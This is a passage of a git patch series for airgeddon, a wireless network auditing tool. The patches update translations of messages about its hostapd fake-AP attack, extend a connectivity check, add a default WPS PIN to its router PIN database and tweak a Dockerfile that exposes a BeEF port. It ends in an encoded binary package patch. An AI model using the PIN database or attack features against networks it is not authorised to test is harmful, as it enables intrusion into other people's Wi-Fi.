conteneur Docker. Si vous voulez le mettre à jour télécharger à nouveau tag image \"latest\"" arr["CATALAN",422]="${pending_of_translation} L'actualització automàtica s'ha desactivat quan airgeddon s'executa en un contenidor de Docker. Si vols actualitzar-lo descàrrega de nou la imatge amb tag \"latest\"" - arr["PORTUGUESE",422]="${pending_of_translation} A atualização automática é desativada quando airgeddon é executado em um recipiente Docker. Se você deseja fazer o download novamente atualizar a tag de imagem \"latest\"" + arr["PORTUGUESE",422]="A atualização automática é desativada quando airgeddon é executado em um container Docker. Se você quiser atualizar faça o download novamente da imagem em \"latest\"" arr["RUSSIAN",422]="${pending_of_translation} Автоматическое обновление отключено, когда airgeddon работает на контейнере Докер. Если вы хотите загрузить снова обновить изображение тега \"latest\"" arr["GREEK",422]="${pending_of_translation} Η αυτόματη ενημέρωση είναι απενεργοποιημένη όταν airgeddon τρέχει σε ένα δοχείο Docker. Αν θέλετε να κατεβάσετε ξανά ενημερώσετε την ετικέτα εικόνας \"latest\"" From 8d7bb01a6b978255b1b506d6968822d9ce053d9e Mon Sep 17 00:00:00 2001 From: Luan Date: Fri, 21 Apr 2017 17:51:06 -0300 Subject: [PATCH 08/28] fix --- language_strings.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/language_strings.sh b/language_strings.sh index 57b084910..797272736 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -3660,7 +3660,7 @@ function language_strings() { arr["SPANISH",420]="Se ha detectado que estás ejecutando airgeddon en un contenedor de Docker. En este ataque se utiliza hostapd para crear un falso AP. Este componente suele dar conflicto con network-manager. Desde el contenedor, airgeddon no puede gestionarlo. Si tienes network-manager instalado en tu máquina host, ciérralo o mata los procesos en conflicto u obtendrás un error. Para más información consulta la sección Docker del Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["FRENCH",420]="${pending_of_translation} Nous avons détecté que vous utilisez airgeddon un conteneur Docker. Dans ce hostapd d'attaque est utilisé pour créer un point d'accès faux. Cette composante a tendance à entrer en conflit avec network-manager. Du récipient, airgeddon ne peut pas le gérer. Si vous avez network-manager installé sur votre machine host, fermer ou tuer des processus contradictoires ou d'obtenir une erreur. Pour plus d'informations, voir la section Docker Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["CATALAN",420]="${pending_of_translation} S'ha detectat que estàs executant airgeddon en un contenidor de Docker. En aquest atac s'utilitza hostapd per crear un fals AP. Aquest component sol donar conflicte amb network-manager. Des del contenidor, airgeddon no pot gestionar-lo. Si tens network-manager instal·lat al teu màquina host, tanca'l o mata els processos en conflicte u obtindràs un error. Per a més informació consulta la secció Docker del Wiki: ${normal_color}${urlgithub_wiki}/Docker" - arr["PORTUGUESE",420]="Detectamos que você está executando airgeddon um container Docker. Neste ataque é usado hostapd para criar um AP falso. Este componente tende a entrar em conflito com network-manager. A partir do container o airgeddon não pode controlá-lo. Se você tem network-manager instalado em sua máquina host feche-o, mate os processos conflitantes ou você irá obter um erro. Para mais informações consulte a seção Docker Wiki: ${normal_color}${urlgithub_wiki}/Docker" + arr["PORTUGUESE",420]="Detectamos que você está executando airgeddon em um container Docker. Neste ataque é usado hostapd para criar um AP falso. Este componente tende a entrar em conflito com network-manager. A partir do container o airgeddon não pode controlá-lo. Se você tem network-manager instalado em sua máquina host feche-o, mate os processos conflitantes ou você irá obter um erro. Para mais informações consulte a seção Docker Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["RUSSIAN",420]="${pending_of_translation} Было обнаружено, что вы запускаете airgeddon внутри контейнера Docker. Во время этой атаки hostapd используется для создания поддельной AP. Этот компонент часто конфликтует с network-manager. Изнутри контейнера airgeddon не может справиться с этим. Если на вашем хост-компьютере установлен network-manager, закройте его или уберите конфликтующие процессы, иначе вы получите сообщение об ошибке. Для получения дополнительной информации см. Раздел Docker в Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["GREEK",420]="${pending_of_translation} Έχει εντοπιστεί ότι τρέχετε airgeddon μέσα σε ένα δοχείο Docker. Κατά τη διάρκεια αυτής της επίθεσης hostapd χρησιμοποιείται για να δημιουργήσει ένα ψεύτικο AP. Αυτό το στοιχείο έρχεται συχνά σε σύγκρουση με το network-manager. Από το εσωτερικό του δοχείου, airgeddon δεν μπορεί να το χειριστεί. Αν έχετε network-manager εγκατεστημένο στον υπολογιστή σας φιλοξενήσει, να κλείσει ή να σκοτώσει τις αντικρουόμενες διαδικασίες ή θα πάρετε ένα λάθος. Για περισσότερες πληροφορίες, ανατρέξτε στην ενότητα Docker του Wiki: ${normal_color}${urlgithub_wiki}/Docker" From e1fb3bc961580152294c5aaafd33f1f1efb29434 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sat, 22 Apr 2017 00:33:19 +0200 Subject: [PATCH 09/28] Improved internet checking. Now more methods, not only icmp --- CHANGELOG.md | 1 + airgeddon.sh | 22 ++++++++++++++++++++-- language_strings.sh | 2 +- 3 files changed, 22 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 15e37f7b1..67eddcf57 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,6 @@ ###6.21 - Improved chipset detection, lsusb added to internal tools + - Improved internet checking. Now more methods, not only icmp ###6.2 - Docker support added diff --git a/airgeddon.sh b/airgeddon.sh index c26360c61..980bd9141 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20170421 +#Date.........: 20170422 #Version......: 6.21 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -8290,7 +8290,25 @@ function check_internet_access() { debug_print ping -c 1 ${host_to_check_internet} -W 1 > /dev/null 2>&1 - return $? + if [ "$?" = "0" ]; then + return 0 + fi + + if hash curl 2> /dev/null; then + timeout -s SIGTERM 15 curl -s "http://${host_to_check_internet}" > /dev/null 2>&1 + if [ "$?" = "0" ]; then + return 0 + fi + fi + + if hash wget 2> /dev/null; then + timeout -s SIGTERM 15 wget -q --spider "http://${host_to_check_internet}" > /dev/null 2>&1 + if [ "$?" = "0" ]; then + return 0 + fi + fi + + return 1 } #Check for default route on an interface diff --git a/language_strings.sh b/language_strings.sh index 797272736..13765012c 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -2,7 +2,7 @@ #Title........: language_strings.sh #Description..: All the translated strings that airgeddon uses are located here. #Author.......: v1s1t0r -#Date.........: 20170421 +#Date.........: 20170422 #Bash Version.: 4.2 or later #Set language_strings file version From f9d95dc76955e78681a12893c343d048fbdfede6 Mon Sep 17 00:00:00 2001 From: Sotirios Roussis Date: Sat, 22 Apr 2017 02:48:57 +0300 Subject: [PATCH 10/28] Updated Greek translations --- language_strings.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index 13765012c..9f4b2efd6 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -3662,7 +3662,7 @@ function language_strings() { arr["CATALAN",420]="${pending_of_translation} S'ha detectat que estàs executant airgeddon en un contenidor de Docker. En aquest atac s'utilitza hostapd per crear un fals AP. Aquest component sol donar conflicte amb network-manager. Des del contenidor, airgeddon no pot gestionar-lo. Si tens network-manager instal·lat al teu màquina host, tanca'l o mata els processos en conflicte u obtindràs un error. Per a més informació consulta la secció Docker del Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["PORTUGUESE",420]="Detectamos que você está executando airgeddon em um container Docker. Neste ataque é usado hostapd para criar um AP falso. Este componente tende a entrar em conflito com network-manager. A partir do container o airgeddon não pode controlá-lo. Se você tem network-manager instalado em sua máquina host feche-o, mate os processos conflitantes ou você irá obter um erro. Para mais informações consulte a seção Docker Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["RUSSIAN",420]="${pending_of_translation} Было обнаружено, что вы запускаете airgeddon внутри контейнера Docker. Во время этой атаки hostapd используется для создания поддельной AP. Этот компонент часто конфликтует с network-manager. Изнутри контейнера airgeddon не может справиться с этим. Если на вашем хост-компьютере установлен network-manager, закройте его или уберите конфликтующие процессы, иначе вы получите сообщение об ошибке. Для получения дополнительной информации см. Раздел Docker в Wiki: ${normal_color}${urlgithub_wiki}/Docker" - arr["GREEK",420]="${pending_of_translation} Έχει εντοπιστεί ότι τρέχετε airgeddon μέσα σε ένα δοχείο Docker. Κατά τη διάρκεια αυτής της επίθεσης hostapd χρησιμοποιείται για να δημιουργήσει ένα ψεύτικο AP. Αυτό το στοιχείο έρχεται συχνά σε σύγκρουση με το network-manager. Από το εσωτερικό του δοχείου, airgeddon δεν μπορεί να το χειριστεί. Αν έχετε network-manager εγκατεστημένο στον υπολογιστή σας φιλοξενήσει, να κλείσει ή να σκοτώσει τις αντικρουόμενες διαδικασίες ή θα πάρετε ένα λάθος. Για περισσότερες πληροφορίες, ανατρέξτε στην ενότητα Docker του Wiki: ${normal_color}${urlgithub_wiki}/Docker" + arr["GREEK",420]="Εντοπίστηκε πως τρέχετε το airgeddon μέσα σε Docker container. Κατά τη διάρκεια αυτής της επίθεσης χρησιμοποιείται το hostapd για να δημιουργήσει ψεύτικο AP. Η δημιουργία αυτού κάνει conflicts με τον network-manager. Το airgeddon δεν μπορεί να το χειριστεί μέσα από το container. Αν υπάρχει ο network-manager εγκατεστημένος στον host-υπολογιστή, κλείστε τον ή διακόψτε τις διεργασίες που κάνουν conflict ή θα υπάρξουν σφάλματα. Για περισσότερες πληροφορίες, ανατρέξτε στην ενότητα Docker του Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["ENGLISH",421]="Doubts? Visit our Wiki: ${normal_color}${urlgithub_wiki}" arr["SPANISH",421]="¿Dudas? visita nuestro Wiki: ${normal_color}${urlgithub_wiki}" @@ -3670,7 +3670,7 @@ function language_strings() { arr["CATALAN",421]="${pending_of_translation} Dubtes? visita el nostre Wiki: ${normal_color}${urlgithub_wiki}" arr["PORTUGUESE",421]="Dúvidas? visite a Wiki: ${normal_color}${urlgithub_wiki}" arr["RUSSIAN",421]="${pending_of_translation} Вопросы? посетить наш Wiki: ${normal_color}${urlgithub_wiki}" - arr["GREEK",421]="${pending_of_translation} Ερωτήσεις; επισκεφθείτε Wiki μας: ${normal_color}${urlgithub_wiki}" + arr["GREEK",421]="Απορίες; Επισκεφθείτε το Wiki μας: ${normal_color}${urlgithub_wiki}" arr["ENGLISH",422]="The automatic update has been disabled when airgeddon is running in a Docker container. If you want to update it, download again the image tagged as \"latest\"" arr["SPANISH",422]="La actualización automática se ha desactivado cuando airgeddon se ejecuta en un contenedor de Docker. Si deseas actualizarlo descarga de nuevo la imagen con tag \"latest\"" @@ -3678,7 +3678,7 @@ function language_strings() { arr["CATALAN",422]="${pending_of_translation} L'actualització automàtica s'ha desactivat quan airgeddon s'executa en un contenidor de Docker. Si vols actualitzar-lo descàrrega de nou la imatge amb tag \"latest\"" arr["PORTUGUESE",422]="A atualização automática é desativada quando airgeddon é executado em um container Docker. Se você quiser atualizar faça o download novamente da imagem em \"latest\"" arr["RUSSIAN",422]="${pending_of_translation} Автоматическое обновление отключено, когда airgeddon работает на контейнере Докер. Если вы хотите загрузить снова обновить изображение тега \"latest\"" - arr["GREEK",422]="${pending_of_translation} Η αυτόματη ενημέρωση είναι απενεργοποιημένη όταν airgeddon τρέχει σε ένα δοχείο Docker. Αν θέλετε να κατεβάσετε ξανά ενημερώσετε την ετικέτα εικόνας \"latest\"" + arr["GREEK",422]="Η διαδικασία της αυτόματης ενημέρωσης είναι απενεργοποιημένη όταν το airgeddon τρέχει σε Docker container. Εάν θέλετε να το ενημερώσετε, κατεβάστε ξανά το αρχείο με την ετικέτα \"latest\"" case "${3}" in "yellow") From ce28cf63d82719d1f4d41ae468f6b8b59f1ab91b Mon Sep 17 00:00:00 2001 From: Sotirios Roussis Date: Sat, 22 Apr 2017 02:51:28 +0300 Subject: [PATCH 11/28] Corrected latest Greek tranlations --- language_strings.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/language_strings.sh b/language_strings.sh index 9f4b2efd6..88bbf6b7b 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -3662,7 +3662,7 @@ function language_strings() { arr["CATALAN",420]="${pending_of_translation} S'ha detectat que estàs executant airgeddon en un contenidor de Docker. En aquest atac s'utilitza hostapd per crear un fals AP. Aquest component sol donar conflicte amb network-manager. Des del contenidor, airgeddon no pot gestionar-lo. Si tens network-manager instal·lat al teu màquina host, tanca'l o mata els processos en conflicte u obtindràs un error. Per a més informació consulta la secció Docker del Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["PORTUGUESE",420]="Detectamos que você está executando airgeddon em um container Docker. Neste ataque é usado hostapd para criar um AP falso. Este componente tende a entrar em conflito com network-manager. A partir do container o airgeddon não pode controlá-lo. Se você tem network-manager instalado em sua máquina host feche-o, mate os processos conflitantes ou você irá obter um erro. Para mais informações consulte a seção Docker Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["RUSSIAN",420]="${pending_of_translation} Было обнаружено, что вы запускаете airgeddon внутри контейнера Docker. Во время этой атаки hostapd используется для создания поддельной AP. Этот компонент часто конфликтует с network-manager. Изнутри контейнера airgeddon не может справиться с этим. Если на вашем хост-компьютере установлен network-manager, закройте его или уберите конфликтующие процессы, иначе вы получите сообщение об ошибке. Для получения дополнительной информации см. Раздел Docker в Wiki: ${normal_color}${urlgithub_wiki}/Docker" - arr["GREEK",420]="Εντοπίστηκε πως τρέχετε το airgeddon μέσα σε Docker container. Κατά τη διάρκεια αυτής της επίθεσης χρησιμοποιείται το hostapd για να δημιουργήσει ψεύτικο AP. Η δημιουργία αυτού κάνει conflicts με τον network-manager. Το airgeddon δεν μπορεί να το χειριστεί μέσα από το container. Αν υπάρχει ο network-manager εγκατεστημένος στον host-υπολογιστή, κλείστε τον ή διακόψτε τις διεργασίες που κάνουν conflict ή θα υπάρξουν σφάλματα. Για περισσότερες πληροφορίες, ανατρέξτε στην ενότητα Docker του Wiki: ${normal_color}${urlgithub_wiki}/Docker" + arr["GREEK",420]="Εντοπίστηκε πως τρέχετε το airgeddon μέσα σε Docker container. Κατά τη διάρκεια αυτής της επίθεσης χρησιμοποιείται το hostapd για να δημιουργήσει ψεύτικο AP. Η δημιουργία αυτού κάνει conflicts με τον network-manager. Το airgeddon δεν μπορεί να το χειριστεί μέσα από το container. Αν υπάρχει ο network-manager εγκατεστημένος στον host-υπολογιστή, κλείστε τον ή διακόψτε τις διεργασίες που κάνουν conflict αλλιώς θα υπάρξουν σφάλματα. Για περισσότερες πληροφορίες, ανατρέξτε στην ενότητα Docker του Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["ENGLISH",421]="Doubts? Visit our Wiki: ${normal_color}${urlgithub_wiki}" arr["SPANISH",421]="¿Dudas? visita nuestro Wiki: ${normal_color}${urlgithub_wiki}" From 344511311e115148d847ca575527b00f3536295b Mon Sep 17 00:00:00 2001 From: OscarAkaElvis Date: Sat, 22 Apr 2017 13:35:58 +0200 Subject: [PATCH 12/28] Updated wps pin database --- known_pins.db | 3 ++- pindb_checksum.txt | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/known_pins.db b/known_pins.db index c658df7e5..521a3ef0f 100644 --- a/known_pins.db +++ b/known_pins.db @@ -2,7 +2,7 @@ #Title........: known_pins.db #Description..: This is a WPS PIN database for routers that generate generic passwords. #Author.......: v1s1t0r -#Date.........: 20170301 +#Date.........: 20170422 #Bash Version.: 4.2 or later #Set PIN database. Keys are the first 6 bssid digits and are ordered @@ -17,6 +17,7 @@ function set_pin_database() { PINDB["0005CA"]="73851738 76916144" PINDB["000726"]="18625790" PINDB["0008A1"]="58764015" + PINDB["000A26"]="81857401" PINDB["000A52"]="22498403" PINDB["000B3B"]="40053707" PINDB["000B85"]="70066647" diff --git a/pindb_checksum.txt b/pindb_checksum.txt index 1518c958e..458c652c5 100644 --- a/pindb_checksum.txt +++ b/pindb_checksum.txt @@ -1 +1 @@ -d779e03a8906d0a79c0e91f5d4344094 +40a8721f591e3bfd851bc1cf8d254d4e From b4391e0bad8ba21a9a6c863adf15701acfd384f5 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sat, 22 Apr 2017 13:41:53 +0200 Subject: [PATCH 13/28] Added wget as internal tool --- Dockerfile | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/Dockerfile b/Dockerfile index 4db07a876..2564fd552 100644 --- a/Dockerfile +++ b/Dockerfile @@ -50,7 +50,8 @@ RUN \ ethtool \ pciutils \ rfkill \ - x11-utils + x11-utils \ + wget #Install update tools RUN \ @@ -166,7 +167,7 @@ RUN rm -rf /opt/airgeddon/imgs > /dev/null 2>&1 && \ rm -rf /opt/hashcat2.0 > /dev/null 2>&1 && \ rm -rf /tmp/* > /dev/null 2>&1 -#Expose port +#Expose BeEF control panel port EXPOSE 3000 #Entrypoint From c91484b5e63d6d40c44859b1f12a7df5070a6769 Mon Sep 17 00:00:00 2001 From: xtonousou Date: Sun, 23 Apr 2017 16:43:57 +0300 Subject: [PATCH 14/28] Updated Arch Linux binary --- .../arch/airgeddon-git-6.2-2-any.pkg.tar.xz | Bin 0 -> 125436 bytes ...rgeddon-git-r590.6e8dd63-6.2-any.pkg.tar.xz | Bin 129544 -> 0 bytes 2 files changed, 0 insertions(+), 0 deletions(-) create mode 100644 binaries/arch/airgeddon-git-6.2-2-any.pkg.tar.xz delete mode 100644 binaries/arch/airgeddon-git-r590.6e8dd63-6.2-any.pkg.tar.xz diff --git a/binaries/arch/airgeddon-git-6.2-2-any.pkg.tar.xz b/binaries/arch/airgeddon-git-6.2-2-any.pkg.tar.xz new file mode 100644 index 0000000000000000000000000000000000000000..0c4e4e5757189ac30e30992bbe2a2956bf6b192f GIT binary patch literal 125436 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 